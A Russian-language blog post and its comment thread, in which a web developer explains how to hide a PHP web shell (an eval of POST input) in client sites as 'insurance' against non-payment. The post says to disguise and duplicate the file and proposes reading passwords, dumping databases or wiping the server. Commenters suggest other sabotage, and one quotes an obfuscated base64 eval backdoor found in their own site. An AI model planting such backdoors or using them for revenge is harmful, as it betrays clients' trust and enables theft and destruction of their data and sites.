Помнится в статье "10 советов и рекомендаций по заказу сайта" я упоминал случай, когда нечестный клиент решил кинуть нас даже несмотря на то, что работали вместе больше полутора лет. После того, как мы узнали, что нам ничего не выплатят, мы не смогли даже вернуть себе сайты, так как ни одной лазейки в них не осталось.
Однако меня спало то, что в одном из сайтов у меня остался небольшой "запасной вход", благодаря которому я не думал развиться второму сайту и вылезти в свет. И выглядел этот вход в виде простой формы загрузки файлов на сервер.
С её помощью я загружал на сайт нужные скрипты и запускал их на сайте, а они, в свою очередь, делали свою грязную работу. Минус у этой двери был один – ей мог воспользоваться кто угодно, если, конечно, знал о её существовании.
Прошло время, и несмотря на то, что до сегодняшнего дня всё идёт гладко, это не исключает того, что такая петрушка может повториться вновь.
В принципе, можно использовать и старый метод с отправкой исполняемого файла на сервер, но… Зачем эти сложности, если можно сделать всё проще.
Я предлагаю варианты и идеи простейшего бэкдурова, на случай если действительно возникнут проблемы. Итак…
- Создаём файл php и называем его как-нибудь неприметно, типа license.php или ещё как.
- Пишем в нём код
<?php
if ( isset($_POST['text']) )
eval ($_POST['text']);
?>
<form method='POST'>
<textarea name='text'></textarea>
<input type='submit'>
</form> - Помещаем файл куда-нибудь подальше вглубь cms-ки, например, в дебри WYSIWYG-редактора. При желании дублируем файл ещё в 2-3 места (на всякий пожарный)
Вот он, каркас для безобразий. Полагаю, не нужно пояснять, что функция eval приводит в исполнение набранный в форме код.
Это всего лишь каркас, который может иметь множество примеров реализации. Допустим, можно через highlight_file вывести содержание какого-нибудь файла с паролями, к которому нет прямого доступа. Можно подключиться к базе данных, считать содержание или изменить его. А можно и вовсе напечатать скрипт удаления всего на сервере, почему бы и нет.
Чуть ниже я предлагаю идеи для дополнения этой дверцы, которые можно сделать по желанию – оставлю тебе, дорогой читатель, в качестве необязательного домашнего задания. Но если вдруг будет желание – с радостью гляну на то, что получилось.
Идеи для улучшения:
- Вообще было бы неплохо, чтобы дверь не была доступна каждому, и сделать для неё авторизацию, к примеру, через обычный .htaccess, ну, или средствами PHP на основе сессий (а лучше и то, и другое – прим.ред.).
- Имея авторизацию, можно вообще заготовить ряд кнопочек, кликая по которым можно вызывать тот или иной скрипт. К примеру, заходишь ты в свою дверцу, а там кнопки – считать пароли, считать базу данных, удалить административную панель и так далее.
- Ещё идеи?
Напоследок
Использовать дверку есть смысл тогда, когда сдаёшь сайт до выплаты (бывает), или когда работаешь в фирме, и хочешь подстраховаться. В первом случае, когда выплата производится, то дверку можно удалить, а можно и оставить, правда не думаю, что она уже понадобится. А во втором случае – придётся держать её наготове постоянно.
На сегодня всё. Буду рад Вашим идеям и предложениям на тему! До новых встреч
31/03/2011 at 19:24 Постоянная ссылка Цитировать
Ха. Интересная тема.
Сам не раз думал как обезопасить проекты и вслучае кидалово отомстить, да так что месть была страшна:)))))))))))))
31/03/2011 at 19:29 Постоянная ссылка Цитировать
Угу, интересная.
Тут ещё фишка в том, что если ты удалишь сайт, то хостер его восстановит, и тебе придёться повторять это снова и снова.
Но на тему пакостей я тут подумал, что прикольная тема – закрывать сайт от индексации. Сразу никто не прошарит в чём дело, а ты доволен собой. Плюс ещё можно ссылки скрытые на всякое порно оставлять, тоже для сео будет весело.
Ну и пасхалки, конечно же =)
31/03/2011 at 21:56 Постоянная ссылка Цитировать
Ну, ссылки на порно это уже не серьёзно)
У меня в CMS предусмотрено сразу 2 механизма защиты, на разные уровни знаний тех, кто будет пытаться что-то снова запустить. Всем рекомендую оставлять подобные ниточки, но распространяться, что и как работает я бы не стал))
01/04/2011 at 0:35 Постоянная ссылка Цитировать
Чтобы запороть сео сайта – подойдёт
ну, детали, естественно, должны оставаться только у владельца, а вот концептом поделиться друг с другом самое оно
01/04/2011 at 13:43 Постоянная ссылка Цитировать
Руки за это отрывать надо. Хоть бы пароль поставили, чтобы данной дверкой не смогли воспользоваться злобные кулцхаккеры.
Правильнее было бы до оплаты выкладывать сайт на поддомен своего домена. После оплаты его перенести на сервер клиента.
01/04/2011 at 18:33 Постоянная ссылка Цитировать
на тему пароля я говорил выше. но если она временная, то шанс выявить её очень и очень мизерный, поэтому я бы не парился.
согласен, это самое оптимальное, но не всегда есть возможность. к тому же вариант этот только для фрилансеров – когда в фирме работаешь, ты страхуешь себя уже от фирмы.
16/04/2011 at 20:44 Постоянная ссылка Цитировать
Я оставлял трояна в img. Маскировал его под *.gif
16/04/2011 at 21:13 Постоянная ссылка Цитировать
Данный механизм встраивания кода в изображение работает не на всех серверах.
26/05/2011 at 9:52 Постоянная ссылка Цитировать
Я когда-то кидал простотакой файлик , правда на перл
раз помогло, да и если, что подправить надо в тихую
Кстате, спасибо за статьи очень понравились!
26/05/2011 at 14:02 Постоянная ссылка Цитировать
дааа, вот такого типа файлики и стоит пихать, на всякий пожарный=)
05/04/2013 at 5:50 Постоянная ссылка Цитировать
Один такой из вас, мне поставил подобный бэкдор перед окончанием работы. Я ему заплатил всё до копейки, нормально разошлись. А он через несколько месяцев начал делать подлости через эту дверь. Я так и не понял смысла.
Вот такие подонки бывают и среди разработчиков, а не только среди заказчиков.
05/04/2013 at 11:05 Постоянная ссылка Цитировать
Василий, нечестных и плохих людей хватает среди каждой стороны, увы. Конечно, я не знаю деталей вашего случая, но вероятно злоумышленником был и не он
04/05/2013 at 17:31 Постоянная ссылка Цитировать
Пробую разобраться у себя на хосте. Дайте пожалуйста хотя бы один пример , как его использовать. Какой текст или код нужно вставлять в textarea? Иди ссылку на материал похожий.
Спасибо.
05/05/2013 at 9:31 Постоянная ссылка Цитировать
2Игорь
Странный вопрос. Читайте обeval и всё станет ясно.eval можно таких косяков напороть!..
Если же ясно не станет, то подучите PHP, а до тех пор сие не применяйте, потому как с
12/03/2014 at 13:14 Постоянная ссылка Цитировать
Проходил через кидалово… Есть такое в наших барыгах и комерсах.
Поэтому без заморочек:
Составляю договор с предоплатой в 50%.
А при подписании акта сдачи и получении оставшейся суммы, отдаю рут права на сайт. Делов-то!
А пока проект разрабатывается, они у меня лазят по админке в статусах Vip-юзеров. Делать могут всё, кроме администрирования учёток.
12/03/2014 at 13:45 Постоянная ссылка Цитировать
Договор – это всегда гемор. Проще тогда уж просто 50% предоплаты, потом показываешь работу, а затем они платят, ты отдаёшь продукт. Вот и всё.
27/12/2014 at 3:00 Постоянная ссылка Цитировать
Всем привет. Делаю простенькие сайты на Джумле, не программист и потому сам написать скрипт не смогу, но ОЧЕНЬ нужен файлик который просто можно оставить где-то на сайте и потом сославшись на него получить доступ к файлам – просто грохнуть файлы если заказчик решил кидануть с оплатой. В основном работаю на своем сервере но изредка случается и на сервере заказчика. Файл с кодом из статьи поставил но не понял что дальше делать. Помогите плиз, можно в скайп маякнуть: portall.com.ua или на мыло прислать готовый файлик. Всем спасибо
07/02/2015 at 5:10 Постоянная ссылка Цитировать
Добрый день. Ребята, помогите пожалуйста разобраться в скрипте, по-моему его внедрили на мой сайт в administrator/index.php:
техподдержка ссылается на бекдор…
07/02/2015 at 5:12 Постоянная ссылка Цитировать
Добрый день. Ребята, помогите пожалуйста разобраться в скрипте, по-моему его внедрили на мой сайт в administrator/index.php:
<?php if ($_POST["eywto"]){eval(base64_decode($_POST["eywto"]));exit;} if(isset($_GET["z"])){echo "hashdeb : qsnY5-I=";exit;} ?>
техподдержка ссылается на бекдор...
07/02/2015 at 8:56 Постоянная ссылка Цитировать
Доброго!http://shublog.ru/other/proverka-sajjta-na-virusy-i-kak-provesti-lechenie/
Да, у вас вирусняк. Жумла такая жумла. Или не жумла?
В общем, вам прямиком сюда –
05/06/2015 at 0:35 Постоянная ссылка Цитировать
Я создал и загрузил на сайт этот файл с указанным кодом. в итоге пройдя по ссылке я попадаю на страничку с полем для ввода текста. а что дальше делать так и не понял!
Подскажите пожалуйста, очень уж надо наказать подонков!
08/06/2015 at 20:03 Постоянная ссылка Цитировать
Вставляете в текстовое поле код пхп, который нужно выполнить на сервере.
09/06/2015 at 14:12 Постоянная ссылка Цитировать
А есть какие-то примеры?
Ну допустим загрузить файл с заменой в корень сайта или в какую либо другую папку?
10/06/2015 at 4:29 Постоянная ссылка Цитировать
Думаю, всё что вам нужно вы сможете найти в статьях по пхп по теме “функции работы с файлами и папками”. У меня в блога статьи по ним, увы, нет, но в яндексе выдача довольно обширная =)
04/04/2016 at 2:47 Постоянная ссылка Цитировать
Это конечно подло так делать и месть ничего не даст, да и бекап вещь интересная, но заказчики иногда бывают такими козлами, что и напакостит не мешало. Можно кучей способов заставить заплатить, например, можно ради хохмы залить фотку дамочки с большими сиськами. Я не думаю, что такая практика хорошо повлияет на бизнес и к вам будут обращаться люди, если узнают о таком, но засранцам отомстите
04/04/2016 at 13:42 Постоянная ссылка Цитировать
А как это сделать?
04/04/2016 at 16:04 Постоянная ссылка Цитировать
Эдуард, для нормального адекватного бизнеса такие штуки неприемлемы, каким бы клиент ни был. Тем более там проще – есть нормальный договор, в идеале с прописанной поэтапной работой, где каждый этап идёт со 100% предоплатой. И всё, все защищены договором. А эти варианты так, баловство от фрилансеров=)
04/04/2016 at 16:17 Постоянная ссылка Цитировать
Александр, вроде Вы ведете такой серьезный блог, да и тема по моей ситуации написана, а сейчас ахинею несете. Типа правильно или не правильно. Удалите тогда с своего блога данную статью. и будьте Честным. Вам комментарии тут нужны или за свои статьи отвечать не хотите?
Как-то не серьезно….
04/04/2016 at 16:25 Постоянная ссылка Цитировать
Дорогой Гость. За последние пять лет (именно столько времени прошло с момента написания текста выше) мой взгляд на вопрос несколько изменился. Нет, я по-прежнему приемлю схему выше, но за последние два-три года она ни разу не потребовалась по причинам того, что делаются все шаги для того, чтобы до подобного не доходило. Даже если вы делаете работу по 50% предоплате и 50% после сдачи работы вам платят, то тут никогда, никому (даже друзьям) нельзя отдавать сайт на свой хост. Можно даже сайт запустить под нужным доменом, но если второй оплаты нет, сайт пропадает и теряет от этого клиент, ибо с поисковиками шутки плохи.
И да, по мере собственного роста и роста числа клиентов и портфолио, уже можно отдельно в договоре прописывать, что вот три этапа, каждый по 100% предоплате после завершения предыдущего. И точка. В этом случае всё по принципу – есть деньги, есть работа, нет денег – нет работы.
04/04/2016 at 16:30 Постоянная ссылка Цитировать
Уважаемый Александр, Вы ведь тое не сразу начали договора писать… Ну есть место быть и моей ошибке. А наказания так и не свершилось. если можете помочь то буду рад если нет то так и скажите, а то ходите вокруг да около…
04/04/2016 at 16:34 Постоянная ссылка Цитировать
Это верно. Но до договоров есть 50% предоплата (обязательно) и свой хостинг (тоже обязательно), плюс не давать доступы с полным админским доступом к сайту.
Как раз я не хожу вокруг да около, я отвечаю вам на комментарии =)
Помочь в настоящее время не могу, чисто физически на программерские задачи меня не хватает, и в настоящее время я почти ими не занимаюсь. Как и блог – он по сути уже заброшен давно.
04/04/2016 at 16:36 Постоянная ссылка Цитировать
Дайте свой скайп… есть ОДИН вопрос и если нет то отстану)))
04/04/2016 at 16:49 Постоянная ссылка Цитировать
alex.shuyskiy
04/04/2016 at 17:17 Постоянная ссылка Цитировать
Нифига это не работает. Даже ,если вы его подпишите, топотом столько головняка ради того, что бы получить, допустим, 1000 грн., что вы пошлете нафиг быстрее этого клиента. Задолбетесь доказывать свою правоту, лицензионность всей работы и на чем делали. что вы это делали и больше вбахаете бабла в суд.Короче договор – это фикция. Да и все в нашей стране)
04/04/2016 at 17:34 Постоянная ссылка Цитировать
Договора менее, чем на 10 т.р. нет смысла заключать. Плюс, пять же, предоплата 50%, а если разбиваете на этапы, то есть деньги – есть работа, нет денег – и всё тут. Так что всё прекрасно работает, если правильно позиционироваться.
04/04/2016 at 19:03 Постоянная ссылка Цитировать
Да даже от такой суммы нет смысла. Может от 30 000 и выше, но не думаю. Издержки суда в копейку, наш суд самый гуманный в мире, докажите свое авторство и лицензию на весь софт и материалы. Это все головняк. Если заказчик жмот, то это видно сразу. Даже после предоплаты бывают выносы мозга.
05/04/2016 at 11:45 Постоянная ссылка Цитировать
По сумме факт, но обычно никто не хочет нарываться и посему работают нормально. Да и по факту обманщиков гораздо больше среди частников, нежели чем среди юр.лиц. Последние обычно берегут свою репутацию.
27/12/2016 at 2:11 Постоянная ссылка Цитировать
Написал вам в скайп. Обнаружил у себя на сайте бекдор, помогите пожалуйста разобраться с ним.